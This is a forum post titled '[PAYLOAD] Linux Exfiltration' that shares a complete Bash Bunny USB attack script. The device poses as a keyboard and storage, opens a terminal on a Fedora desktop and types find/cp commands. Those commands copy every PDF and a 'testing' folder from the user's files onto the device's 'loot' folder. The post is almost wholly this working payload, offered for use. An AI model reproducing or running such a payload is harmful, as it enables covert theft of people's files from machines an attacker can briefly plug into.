Jump to content

[PAYLOAD] Linux Exfiltration


Am3ience

Recommended Posts

Hey guys,

Just made a simple file grabber for Linux, was built for Fedora distro, but is easily changed for other distros.

#!/bin/bash
#
# Title:         Linux Grabber
# Author:        am3ience
# Version:       1.0
#
# grabs specified files and folders on the user's directory and copies them to the bunny loot folder
#
#

LED SETUP
ATTACKMODE HID STORAGE

LED ATTACK
RUN UNITY gnome-terminal
Q DELAY 1000 
Q STRING export lootdir=/run/media/\$USER/BashBunny/loot/LinuxGrabber #export loot directory 
Q ENTER
Q STRING mkdir -p \$lootdir #make loot directory 
Q ENTER
# Find all PDFs stored in the user's file structure, and copy them over to the BashBunny storage.
Q STRING find . -name "*.pdf" -exec cp '{}' \$lootdir \\\;
Q ENTER 
Q DELAY 1000
# Find the 'testing' folder to copy 
Q STRING find . -type d -name 'testing' -exec cp -a '{}' \$lootdir \\\;
Q ENTER 
Q DELAY 1000 
Q STRING exit
Q ENTER 

# sync the filesystem
sync

LED FINISH 

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...